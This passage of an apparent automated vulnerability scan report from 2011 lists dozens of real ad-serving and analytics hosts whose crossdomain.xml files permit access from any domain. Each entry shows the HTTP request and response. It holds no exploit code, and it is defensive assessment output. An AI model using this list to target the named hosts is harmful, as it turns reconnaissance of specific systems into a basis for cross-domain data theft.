Date: Tue, 10 May 2011 13:39:55 GMT
Server: Apache
Last-Modified: Fri, 19 Dec 2008 21:38:40 GMT
ETag: "1607e7-c7-45e6d21e5d800"
Accept-Ranges: bytes
Content-Length: 199
Keep-Alive: timeout=5
Connection: Keep-Alive
Content-Type: text/x-cross-domain-policy

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.39. http://cms.quantserve.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cms.quantserve.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: cms.quantserve.com

Response

HTTP/1.0 200 OK
Connection: close
Cache-Control: private, no-transform, must-revalidate, max-age=86400
Expires: Wed, 11 May 2011 14:11:49 GMT
Content-Type: text/xml
Content-Length: 207
Date: Tue, 10 May 2011 14:11:49 GMT
Server: QS

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-po
...[SNIP]...

5.40. http://core.videoegg.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://core.videoegg.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: core.videoegg.com

Response

HTTP/1.0 200 OK
Server: Apache
ETag: "af5f896ec6f317d2d7257811ce10f2f2:1218664532"
Last-Modified: Wed, 13 Aug 2008 21:55:32 GMT
Accept-Ranges: bytes
Content-Length: 202
Content-Type: application/xml
Date: Tue, 10 May 2011 13:17:00 GMT
Connection: close
Cache-Control: max-age=604800, s-maxage=86400, public

<cross-domain-policy>
<allow-access-from domain="*" to-ports="*"/>
<site-control permitted-cross-domain-policies="all"/>
<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy
...[SNIP]...

5.41. http://d.tradex.openx.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://d.tradex.openx.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: d.tradex.openx.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:30:12 GMT
Server: Apache
Last-Modified: Tue, 21 Dec 2010 00:56:43 GMT
ETag: "78b3c-c7-497e11c2d28c0"
Accept-Ranges: bytes
Content-Length: 199
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.42. http://d.xp1.ru4.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://d.xp1.ru4.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: d.xp1.ru4.com

Response

HTTP/1.1 200 OK
Server: Sun-Java-System-Web-Server/7.0
Date: Tue, 10 May 2011 13:25:00 GMT
P3p: policyref="/w3c/p3p.xml", CP="NON DSP COR PSAa OUR STP UNI"
Content-type: text/xml
Last-modified: Mon, 22 Nov 2010 21:33:51 GMT
Content-length: 202
Etag: "ca-4ceae1bf"
Accept-ranges: bytes
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy
...[SNIP]...

5.43. http://dar.youknowbest.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dar.youknowbest.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: dar.youknowbest.com

Response

HTTP/1.0 200 OK
Content-Length: 207
Content-Type: text/xml
Content-Location: http://dar.youknowbest.com/crossdomain.xml
Last-Modified: Mon, 28 Mar 2011 01:24:52 GMT
Accept-Ranges: bytes
ETag: "0caccefe6eccb1:db9"
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="ALL DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Server: CO-ADSWEB02
X-Powered-By: ASP.NET
Date: Tue, 10 May 2011 13:35:28 GMT
Connection: close

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-
...[SNIP]...

5.44. http://data.cmcore.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://data.cmcore.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: data.cmcore.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:53:03 GMT
Server: Apache
P3P: CP="NON DSP COR CUR ADMo DEVo PSAo PSDo OUR IND ONL UNI PUR COM NAV INT DEM STA"
Last-Modified: Thu, 06 Dec 2007 22:23:27 GMT
ETag: "244060-c7-4758765f"
Accept-Ranges: bytes
Content-Length: 199
Keep-Alive: timeout=300, max=995
Connection: Keep-Alive
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.45. http://delivery.uat.247realmedia.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://delivery.uat.247realmedia.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: delivery.uat.247realmedia.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:58:07 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Last-Modified: Fri, 14 Aug 2009 20:41:28 GMT
ETag: "af6f5-d0-471201390ee00"
Accept-Ranges: bytes
Content-Length: 208
Keep-Alive: timeout=60
Connection: Keep-Alive
Content-Type: text/xml
Set-Cookie: NSC_vbuefm_qppm_iuuq=ffffffff09419e2f45525d5f4f58455e445a4a423660;path=/;httponly

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-p
...[SNIP]...

5.46. http://dg.specificclick.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dg.specificclick.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: dg.specificclick.net

Response

HTTP/1.1 200 OK
Server: WebStar 1.0
Content-Type: text/xml
Content-Length: 194
Date: Tue, 10 May 2011 13:34:22 GMT
Connection: close

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><allow-access-from domain="*" /></cross-domain-policy>

5.47. http://dis.ny.us.criteo.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dis.ny.us.criteo.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: dis.ny.us.criteo.com

Response

HTTP/1.1 200 OK
Server: nginx
Cache-Control: max-age=31104000
Cache-Control: public
Content-Type: text/xml
Date: Tue, 10 May 2011 13:20:30 GMT
Expires: Fri, 04 May 2012 13:20:30 GMT
Accept-Ranges: bytes
Connection: close
Last-Modified: Wed, 19 Sep 2007 08:50:25 GMT
Content-Length: 360

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all" />

...[SNIP]...
<allow-access-from domain="*" secure="false" />
...[SNIP]...

5.48. http://ds.serving-sys.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.serving-sys.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ds.serving-sys.com

Response

HTTP/1.0 200 OK
Content-Type: text/xml
Last-Modified: Thu, 20 Aug 2009 15:36:15 GMT
Server: Microsoft-IIS/6.0
Date: Tue, 10 May 2011 13:31:14 GMT
Content-Length: 100
Connection: close
Accept-Ranges: bytes

<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
</cross-domain-policy>

5.49. http://event.adxpose.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://event.adxpose.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: event.adxpose.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"203-1304614332000"
Last-Modified: Thu, 05 May 2011 16:52:12 GMT
Content-Type: application/xml
Content-Length: 203
Date: Tue, 10 May 2011 13:42:10 GMT
Connection: close

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy> <allow-access-from domain="*" /></cross-domain-poli
...[SNIP]...

5.50. http://flash.qoof.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://flash.qoof.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: flash.qoof.com

Response

HTTP/1.0 200 OK
Cache-Control: max-age=10800
Content-Type: text/xml
Last-Modified: Wed, 17 Feb 2010 07:08:12 GMT
Accept-Ranges: bytes
ETag: "6813abf79fafca1:0"
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Content-Length: 104
Date: Tue, 10 May 2011 13:37:41 GMT
Connection: close

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.51. http://fw.adsafeprotected.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fw.adsafeprotected.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: fw.adsafeprotected.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
ETag: W/"202-1303422014000"
Last-Modified: Thu, 21 Apr 2011 21:40:14 GMT
Content-Type: application/xml
Content-Length: 202
Date: Tue, 10 May 2011 14:23:00 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-polic
...[SNIP]...

5.52. http://g-pixel.invitemedia.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://g-pixel.invitemedia.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: g-pixel.invitemedia.com

Response

HTTP/1.0 200 OK
Server: IM BidManager
Date: Tue, 10 May 2011 14:29:24 GMT
Content-Type: text/plain
Content-Length: 81

<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

5.53. http://hs.interpolls.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://hs.interpolls.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: hs.interpolls.com

Response

HTTP/1.0 200 OK
Server: Apache
ETag: "60d031d9d008574354df1367044279d0:1238202604"
Last-Modified: Sat, 28 Mar 2009 01:10:04 GMT
Accept-Ranges: bytes
Content-Length: 102
Content-Type: application/xml
Date: Tue, 10 May 2011 13:38:10 GMT
Connection: close

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.54. http://i.w55c.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://i.w55c.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: i.w55c.net

Response

HTTP/1.0 200 OK
Cache-Control: max-age=86400
Date: Tue, 10 May 2011 14:10:39 GMT
Server: Jetty(6.1.22)
Content-Type: application/xml
Via: 1.0 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Content-Length: 488

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>

<allow-access-from domain="*" to-ports="*"/>
<site-control
...[SNIP]...

5.55. http://ib.adnxs.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ib.adnxs.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ib.adnxs.com

Response

HTTP/1.0 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Wed, 11-May-2011 13:32:32 GMT; domain=.adnxs.com; HttpOnly
Content-Type: text/xml

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><site-control permitted-cross-domain-policies="master-only"
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

5.56. http://idcs.interclick.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://idcs.interclick.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: idcs.interclick.com

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Tue, 08 Mar 2011 22:34:09 GMT
Accept-Ranges: bytes
ETag: "f2db35f1e0ddcb1:0"
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
P3P: policyref="http://www.interclick.com/w3c/p3p.xml",CP="NON DSP ADM DEV PSD OUR IND PRE NAV UNI"
Date: Tue, 10 May 2011 13:27:33 GMT
Connection: close
Content-Length: 225

...<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
...[SNIP]...

5.57. http://idpix.media6degrees.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://idpix.media6degrees.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: idpix.media6degrees.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
ETag: W/"288-1225232951000"
Last-Modified: Tue, 28 Oct 2008 22:29:11 GMT
Content-Type: application/xml
Content-Length: 288
Date: Tue, 10 May 2011 14:10:52 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-http-request-headers-from domain="*" headers="*"
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

5.58. http://img.mediaplex.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://img.mediaplex.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: img.mediaplex.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:54:36 GMT
Server: Apache
Last-Modified: Fri, 19 Dec 2008 21:38:40 GMT
ETag: "1b1f-c7-45e6d21e5d800"
Accept-Ranges: bytes
Content-Length: 199
Keep-Alive: timeout=5
Connection: Keep-Alive
Content-Type: text/x-cross-domain-policy

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.59. http://imp.fetchback.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://imp.fetchback.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: imp.fetchback.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:54:21 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Wed, 02 Sep 2009 11:29:17 GMT
Accept-Ranges: bytes
Content-Length: 213
Vary: Accept-Encoding
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
</cross-do
...[SNIP]...

5.60. http://js.revsci.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://js.revsci.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: js.revsci.net

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: application/xml
Date: Tue, 10 May 2011 13:13:42 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-po
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

5.61. http://l.betrad.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://l.betrad.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: l.betrad.com

Response

HTTP/1.0 200 OK
P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Set-Cookie: tuuid=5a4c0d1d-fc7c-4128-9cf2-ff3c7fe7a62b; path=/; expires=Thu, 09 May 2013 13:39:05 GMT
Content-Type: text/xml
Cache-Control: no-cache, no-store, must-revalidate
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Pragma: no-cache
Content-Length: 212

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-do
...[SNIP]...

5.62. http://load.exelator.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://load.exelator.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: load.exelator.com

Response

HTTP/1.0 200 OK
Connection: close
Content-Type: text/xml
Accept-Ranges: bytes
ETag: "1726620298"
Last-Modified: Thu, 23 Apr 2009 17:36:11 GMT
Content-Length: 148
Date: Tue, 10 May 2011 13:29:18 GMT
Server: HTTP server

<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"/>
<allow-access-from domain="*" to-ports="*"/>
</cross-domain-policy>

5.63. http://loadm.exelator.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://loadm.exelator.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: loadm.exelator.com

Response

HTTP/1.0 200 OK
Connection: close
Content-Type: text/xml
Accept-Ranges: bytes
ETag: "-343389956"
Last-Modified: Thu, 23 Apr 2009 17:36:11 GMT
Content-Length: 148
Date: Tue, 10 May 2011 13:29:53 GMT
Server: HTTP server

<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"/>
<allow-access-from domain="*" to-ports="*"/>
</cross-domain-policy>

5.64. http://log30.doubleverify.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://log30.doubleverify.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: log30.doubleverify.com

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Sun, 17 Jan 2010 09:19:04 GMT
Accept-Ranges: bytes
ETag: "034d21c5697ca1:0"
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Tue, 10 May 2011 13:26:37 GMT
Connection: close
Content-Length: 378

...<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<site-control permitted-cross-dom
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

5.65. http://m.adnxs.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://m.adnxs.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: m.adnxs.com

Response

HTTP/1.0 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Wed, 11-May-2011 13:51:11 GMT; domain=.adnxs.com; HttpOnly
Content-Type: text/xml

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><site-control permitted-cross-domain-policies="master-only"
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

5.66. http://map.media6degrees.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://map.media6degrees.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: map.media6degrees.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
ETag: W/"288-1225232951000"
Last-Modified: Tue, 28 Oct 2008 22:29:11 GMT
Content-Type: application/xml
Content-Length: 288
Date: Tue, 10 May 2011 13:26:28 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-http-request-headers-from domain="*" headers="*"
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

5.67. http://media.fastclick.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://media.fastclick.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: media.fastclick.net

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:17:59 GMT
Server: Apache/2.2.4 (Unix)
P3P: CP='NOI DSP DEVo TAIo COR PSA OUR IND NAV'
Content-Length: 202
Keep-Alive: timeout=5, max=19927
Connection: Keep-Alive
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy
...[SNIP]...

5.68. http://metrics.philly.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://metrics.philly.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: metrics.philly.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:11:36 GMT
Server: Omniture DC/2.0.0
xserver: www651
Connection: close
Content-Type: text/html

<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
<allow-http-request-headers-from domain="*" headers="*" secure="false" />
</cross-domain-policy>

5.69. http://metrics.washingtonpost.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://metrics.washingtonpost.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: metrics.washingtonpost.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:13:40 GMT
Server: Omniture DC/2.0.0
xserver: www162
Content-Length: 93
Keep-Alive: timeout=15
Connection: close
Content-Type: text/html

<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
</cross-domain-policy>

5.70. http://mpd.mxptint.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://mpd.mxptint.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: mpd.mxptint.net

Response

HTTP/1.1 200 OK
Content-Length: 105
Content-Type: text/xml
Content-Location: http://mpd.mxptint.net/crossdomain.xml
Last-Modified: Fri, 25 Feb 2011 15:59:00 GMT
Accept-Ranges: bytes
ETag: "03a70ea4d5cb1:906"
Server: Microsoft-IIS/6.0
Date: Tue, 10 May 2011 14:25:16 GMT
Connection: close

<?xml version="1.0" ?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.71. http://o.sa.aol.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://o.sa.aol.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: o.sa.aol.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:18:39 GMT
Server: Omniture DC/2.0.0
xserver: www277
Content-Length: 167
Keep-Alive: timeout=15
Connection: close
Content-Type: text/html

<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
<allow-http-request-headers-from domain="*" headers="*" secure="false" />
</cross-domain-policy>

5.72. http://ping.crowdscience.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ping.crowdscience.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ping.crowdscience.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:36:47 GMT
Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.7i mod_wsgi/2.7 Python/2.5.2
Last-Modified: Wed, 27 Apr 2011 03:48:25 GMT
ETag: "8219b-e0-4a1de5011d440"
Accept-Ranges: bytes
Content-Length: 224
P3P: CP="NOI DSP COR NID DEVa PSAi OUR STP OTC",policyref="/w3c/p3p.xml"
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
       <!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
       <cross-domain-policy>
               <allow-access-from domain="*" secure="false"/>

...[SNIP]...

5.73. http://pix04.revsci.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: pix04.revsci.net

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: application/xml
Date: Tue, 10 May 2011 13:17:29 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-po
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

5.74. http://pixel.invitemedia.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pixel.invitemedia.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: pixel.invitemedia.com

Response

HTTP/1.0 200 OK
Server: IM BidManager
Date: Tue, 10 May 2011 14:00:55 GMT
Content-Type: text/plain
Content-Length: 81

<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

5.75. http://pixel.quantserve.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pixel.quantserve.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: pixel.quantserve.com

Response

HTTP/1.0 200 OK
Connection: close
Cache-Control: private, no-transform, must-revalidate, max-age=86400
Expires: Wed, 11 May 2011 13:11:36 GMT
Content-Type: text/xml
Content-Length: 207
Date: Tue, 10 May 2011 13:11:36 GMT
Server: QS

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-po
...[SNIP]...

5.76. http://puma.vizu.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://puma.vizu.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: puma.vizu.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:14:46 GMT
Server: PWS/1.7.2.1
X-Px: ht iad-agg-n28.panthercdn.com
ETag: "9c515-10d-5c70b100"
P3P: CP="DSP NID OTP UNR STP NON", policyref="/w3c/p3p.xml"
Cache-Control: max-age=604800
Expires: Wed, 11 May 2011 07:28:29 GMT
Age: 539177
Content-Length: 269
Content-Type: text/xml
Last-Modified: Fri, 15 Apr 2011 19:51:00 GMT
Connection: close

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
<allow-http-
...[SNIP]...

5.77. http://q1.checkm8.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://q1.checkm8.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: q1.checkm8.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:22:34 GMT
Server: Apache
P3P: policyref="http://q1.checkm8.com/w3c/p3p.xml", CP="NOI DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV STA OTC"
x-internal-server: 192.168.212.17 NY-AD7
ETag: "1303863636"
Last-Modified: Wed, 27-Apr-2011 00:20:36 GMT
Age: 0
Cache-Control: max-age=86400
Content-Length: 106
Vary: Accept-Encoding
Connection: close
Content-Type: text/xml

<?xml version="1.0" ?>
<cross-domain-policy>
